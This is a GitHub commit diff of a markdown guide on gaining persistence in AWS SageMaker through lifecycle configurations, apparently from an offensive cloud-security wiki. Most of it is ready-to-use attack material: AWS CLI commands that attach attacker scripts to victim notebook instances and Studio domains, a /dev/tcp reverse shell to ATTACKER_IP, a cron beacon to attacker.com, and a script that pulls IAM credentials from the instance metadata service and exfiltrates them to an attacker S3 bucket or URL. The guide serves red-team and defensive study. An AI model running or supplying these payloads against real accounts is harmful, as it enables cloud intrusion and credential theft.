Skip to content

Commit 4ee987a

Browse files
authored
Update aws-sagemaker-persistence.md
1 parent 78a08b6 commit 4ee987a

File tree

1 file changed

+50
-28
lines changed

1 file changed

+50
-28
lines changed
Lines changed: 50 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -1,54 +1,74 @@
11

2-
### AWS - SageMaker Lifecycle Configuration Persistence
3-
4-
# Required Permissions
5-
* Notebook Instances: sagemaker:CreateNotebookInstanceLifecycleConfig, sagemaker:UpdateNotebookInstanceLifecycleConfig, sagemaker:CreateNotebookInstance, sagemaker:UpdateNotebookInstance
6-
* Studio Applications: sagemaker:CreateStudioLifecycleConfig, sagemaker:UpdateStudioLifecycleConfig, sagemaker:UpdateUserProfile, sagemaker:UpdateSpace, sagemaker:UpdateDomain
7-
8-
### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
2+
# AWS - SageMaker Lifecycle Configuration Persistence
3+
4+
## Required Permissions
5+
* Notebook Instances:
6+
```
7+
sagemaker:CreateNotebookInstanceLifecycleConfig
8+
sagemaker:UpdateNotebookInstanceLifecycleConfig
9+
sagemaker:CreateNotebookInstance
10+
sagemaker:UpdateNotebookInstance
11+
```
12+
* Studio Applications:
13+
```
14+
sagemaker:CreateStudioLifecycleConfig
15+
sagemaker:UpdateStudioLifecycleConfig
16+
sagemaker:UpdateUserProfile
17+
sagemaker:UpdateSpace
18+
sagemaker:UpdateDomain
19+
```
20+
#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
921

1022
## Set Lifecycle Configuration on Notebook Instances
1123

1224
### Example AWS CLI Commands:
25+
```bash
26+
# Create Lifecycle Configuration*
1327

14-
*# Create Lifecycle Configuration*
1528
aws sagemaker create-notebook-instance-lifecycle-config \
1629
--notebook-instance-lifecycle-config-name attacker-lcc \
1730
--on-start Content=$(base64 -w0 reverse_shell.sh)
1831

19-
*# Attach Lifecycle Configuration to Notebook Instance*
32+
33+
# Attach Lifecycle Configuration to Notebook Instance*
34+
2035
aws sagemaker update-notebook-instance \
2136
--notebook-instance-name victim-instance \
2237
--lifecycle-config-name attacker-lcc
38+
```
2339

2440
## Set Lifecycle Configuration on SageMaker Studio
2541

2642
Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.
2743

2844
### Studio Domain Level (All Users)
45+
```bash
46+
# Create Studio Lifecycle Configuration*
2947

30-
*# Create Studio Lifecycle Configuration*
3148
aws sagemaker create-studio-lifecycle-config \
3249
--studio-lifecycle-config-name attacker-studio-lcc \
3350
--studio-lifecycle-config-app-type JupyterServer \
3451
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
3552

36-
*# Apply LCC to entire Studio Domain*
53+
54+
# Apply LCC to entire Studio Domain*
55+
3756
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
3857
"JupyterServerAppSettings": {
3958
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
4059
}
4160
}'
42-
61+
```
4362
### Studio Space Level (Individual or Shared Spaces)
63+
```bash
64+
# Update SageMaker Studio Space to attach LCC*
4465

45-
*# Update SageMaker Studio Space to attach LCC*
4666
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
4767
"JupyterServerAppSettings": {
4868
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
4969
}
5070
}'
51-
71+
```
5272
## Types of Studio Application Lifecycle Configurations
5373

5474
Lifecycle configurations can be specifically applied to different SageMaker Studio application types:
@@ -59,26 +79,26 @@ Lifecycle configurations can be specifically applied to different SageMaker Stud
5979
### Example Command for Each Type:
6080

6181
### JupyterServer
62-
82+
```bash
6383
aws sagemaker create-studio-lifecycle-config \
6484
--studio-lifecycle-config-name attacker-jupyter-lcc \
6585
--studio-lifecycle-config-app-type JupyterServer \
6686
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
67-
87+
```
6888
### KernelGateway
69-
89+
```bash
7090
aws sagemaker create-studio-lifecycle-config \
7191
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
7292
--studio-lifecycle-config-app-type KernelGateway \
7393
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
74-
94+
```
7595
### CodeEditor
76-
96+
```bash
7797
aws sagemaker create-studio-lifecycle-config \
7898
--studio-lifecycle-config-name attacker-codeeditor-lcc \
7999
--studio-lifecycle-config-app-type CodeEditor \
80100
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
81-
101+
```
82102
### Critical Info:
83103
* Attaching LCCs at the domain or space level impacts all users or applications within scope.
84104
* Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level.
@@ -89,18 +109,18 @@ aws sagemaker create-studio-lifecycle-config \
89109
SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.
90110

91111
### Payload Example:
92-
112+
```
93113
#!/bin/bash
94114
ATTACKER_IP="<ATTACKER_IP>"
95115
ATTACKER_PORT="<ATTACKER_PORT>"
96116
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
97-
117+
```
98118
## Cron Job Persistence via Lifecycle Configuration
99119

100120
An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.
101121

102122
### Payload Example:
103-
123+
```
104124
#!/bin/bash
105125
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
106126
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
@@ -111,22 +131,24 @@ echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOA
111131
chmod +x $PAYLOAD_PATH
112132
113133
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
114-
134+
```
115135
## Credential Exfiltration via IMDS (v1 & v2)
116136

117137
Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
118138

119139
### Payload Example:
120-
140+
```bash
121141
#!/bin/bash
122142
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
123143
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
124144
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
125145
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
126146

127-
*# Exfiltrate via S3*
147+
# Exfiltrate via S3*
148+
128149
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
129150

130-
*# Alternatively, exfiltrate via HTTP POST*
131-
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
151+
# Alternatively, exfiltrate via HTTP POST*
132152

153+
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
154+
```

0 commit comments

Comments
 (0)